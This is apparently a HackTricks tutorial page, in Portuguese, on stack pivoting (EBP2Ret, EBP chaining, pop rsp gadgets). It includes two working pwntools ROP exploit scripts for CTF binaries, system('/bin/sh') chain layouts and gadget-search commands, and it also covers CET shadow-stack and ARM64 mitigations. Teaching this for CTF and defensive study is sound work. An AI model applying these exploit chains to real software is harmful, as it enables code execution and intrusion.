Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 12 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Esta técnica explora a capacidade de manipular o Base Pointer (EBP/RBP) para encadear a execução de múltiplas funções através do uso cuidadoso do ponteiro de quadro e da sequência de instruções leave; ret
.
Como lembrete, em x86/x86-64 leave
é equivalente a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
E como o EBP/RBP salvo está na pilha antes do EIP/RIP salvo, é possível controlá-lo controlando a pilha.
Notas
- Em 64 bits, substitua EBP→RBP e ESP→RSP. A semântica é a mesma.
- Alguns compiladores omitem o ponteiro de quadro (veja "EBP pode não ser usado"). Nesse caso,
leave
pode não aparecer e essa técnica não funcionará.
EBP2Ret
Essa técnica é particularmente útil quando você pode alterar o EBP/RBP salvo, mas não tem uma maneira direta de mudar o EIP/RIP. Ela aproveita o comportamento do epílogo da função.
Se, durante a execução de fvuln
, você conseguir injetar um EBP falso na pilha que aponte para uma área na memória onde o endereço do seu shellcode/cadeia ROP está localizado (mais 8 bytes em amd64 / 4 bytes em x86 para contabilizar o pop
), você pode controlar indiretamente o RIP. À medida que a função retorna, leave
define RSP para o local criado e o subsequente pop rbp
diminui RSP, efetivamente fazendo com que aponte para um endereço armazenado pelo atacante ali. Então ret
usará esse endereço.
Note como você precisa saber 2 endereços: o endereço para onde ESP/RSP vai, e o valor armazenado nesse endereço que ret
consumirá.
Construção de Exploit
Primeiro, você precisa saber um endereço onde pode escrever dados/endereço arbitrários. RSP apontará aqui e consumirá o primeiro ret
.
Em seguida, você precisa escolher o endereço usado por ret
que transferirá a execução. Você poderia usar:
- Um endereço válido ONE_GADGET.
- O endereço de
system()
seguido pelo retorno e argumentos apropriados (em x86:ret
alvo =&system
, então 4 bytes de lixo, depois&"/bin/sh"
). - O endereço de um gadget
jmp esp;
(ret2esp) seguido de shellcode inline. - Uma cadeia ROP em memória gravável.
Lembre-se de que antes de qualquer um desses endereços na área controlada, deve haver espaço para o pop ebp/rbp
de leave
(8B em amd64, 4B em x86). Você pode abusar desses bytes para definir um segundo EBP falso e manter o controle após a primeira chamada retornar.
Exploit Off-By-One
Há uma variante usada quando você pode apenas modificar o byte menos significativo do EBP/RBP salvo. Nesse caso, a localização de memória que armazena o endereço para o qual pular com ret
deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
Encadeamento de EBP
Colocando um endereço controlado no slot de EBP
salvo da pilha e um gadget leave; ret
em EIP/RIP
, é possível mover ESP/RSP
para um endereço controlado pelo atacante.
Agora RSP
está controlado e a próxima instrução é ret
. Coloque na memória controlada algo como:
&(próximo EBP falso)
-> Carregado porpop ebp/rbp
deleave
.&system()
-> Chamado porret
.&(leave;ret)
-> Apóssystem
terminar, move RSP para o próximo EBP falso e continua.&("/bin/sh")
-> Argumento parasystem
.
Dessa forma, é possível encadear vários EBPs falsos para controlar o fluxo do programa.
Isso é como um ret2lib, mas mais complexo e útil apenas em casos extremos.
Além disso, aqui você tem um exemplo de um desafio que usa essa técnica com um leak de pilha para chamar uma função vencedora. Este é o payload final da página:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
dica de alinhamento amd64: o System V ABI requer alinhamento de pilha de 16 bytes em locais de chamada. Se sua cadeia chamar funções como
system
, adicione um gadget de alinhamento (por exemplo,ret
, ousub rsp, 8 ; ret
) antes da chamada para manter o alinhamento e evitar falhas demovaps
.
EBP pode não ser usado
Como explicado neste post, se um binário for compilado com algumas otimizações ou com omissão do ponteiro de quadro, o EBP/RBP nunca controla ESP/RSP. Portanto, qualquer exploit que funcione controlando EBP/RBP falhará porque o prólogo/epílogo não restaura a partir do ponteiro de quadro.
- Não otimizado / ponteiro de quadro usado:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Otimizado / ponteiro de quadro omitido:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
No amd64, você frequentemente verá pop rbp ; ret
em vez de leave ; ret
, mas se o ponteiro de quadro for omitido completamente, então não há um epílogo baseado em rbp
para pivotar.
Outras maneiras de controlar RSP
Gadget pop rsp
Nesta página você pode encontrar um exemplo usando essa técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um gadget pop rsp
e há um leak da pilha:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Verifique a técnica ret2esp aqui:
Encontrando gadgets de pivot rapidamente
Use seu buscador de gadgets favorito para procurar por primitivos de pivot clássicos:
leave ; ret
em funções ou em bibliotecaspop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(ouadd esp, <imm> ; ret
em x86)
Exemplos:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Padrão clássico de staging de pivot
Uma estratégia de pivot robusta usada em muitos CTFs/exploits:
- Use um pequeno overflow inicial para chamar
read
/recv
em uma grande região gravável (por exemplo,.bss
, heap ou memória RW mapeada) e coloque uma cadeia ROP completa lá. - Retorne para um gadget de pivot (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) para mover RSP para essa região. - Continue com a cadeia em estágio (por exemplo, vaze libc, chame
mprotect
, depoisread
shellcode, e então salte para ele).
Mitigações modernas que quebram o pivot de pilha (CET/Shadow Stack)
CPUs e sistemas operacionais x86 modernos estão cada vez mais implementando CET Shadow Stack (SHSTK). Com SHSTK habilitado, ret
compara o endereço de retorno na pilha normal com uma pilha sombra protegida por hardware; qualquer discrepância gera uma falha de Controle-Protetor e encerra o processo. Portanto, técnicas como pivôs baseados em EBP2Ret/leave;ret irão falhar assim que o primeiro ret
for executado de uma pilha pivotada.
- Para mais informações e detalhes mais profundos, veja:
- Verificações rápidas no Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notas para labs/CTF:
-
Algumas distribuições modernas habilitam SHSTK para binários com CET habilitado quando há suporte de hardware e glibc. Para testes controlados em VMs, SHSTK pode ser desabilitado globalmente via o parâmetro de inicialização do kernel
nousershstk
, ou habilitado seletivamente via tunáveis do glibc durante a inicialização (veja referências). Não desative as mitig ações em alvos de produção. -
Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns alvos, mas SHSTK quebra especificamente pivôs baseados em
ret
. -
Nota do Windows: O Windows 10+ expõe o modo de usuário e o Windows 11 adiciona a “Proteção de Pilha Forçada por Hardware” em modo kernel, construída sobre pilhas sombreadas. Processos compatíveis com CET impedem o pivotamento de pilha/ROP em
ret
; os desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
ARM64
No ARM64, o prólogo e epílogos das funções não armazenam e recuperam o registrador SP na pilha. Além disso, a instrução RET
não retorna para o endereço apontado por SP, mas para o endereço dentro de x30
.
Portanto, por padrão, apenas abusando do epílogo você não conseguirá controlar o registrador SP sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de controlar o registrador x30
.
- prólogo
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP aponta para o registro de quadro
- epílogo
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
A maneira de realizar algo semelhante ao pivotamento de pilha no ARM64 seria ser capaz de controlar o SP
(controlando algum registrador cujo valor é passado para SP
ou porque por algum motivo SP
está pegando seu endereço da pilha e temos um overflow) e então abusar do epílogo para carregar o registrador x30
de um SP
controlado e RET
para ele.
Também na página seguinte você pode ver o equivalente de Ret2esp no ARM64:
Referências
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para pilha ou pie e um WWW de um qword. Primeiro obtenha o leak da pilha e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de
.fini_array
+ chamando__libc_csu_fini
(mais informações aqui). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP. - Documentação do kernel Linux: Tecnologia de Aplicação de Controle de Fluxo (CET) Shadow Stack — detalhes sobre SHSTK,
nousershstk
, flags de/proc/$PID/status
, e habilitação viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Proteção de Pilha Forçada por Hardware em Modo Kernel (pilhas sombreadas CET no Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.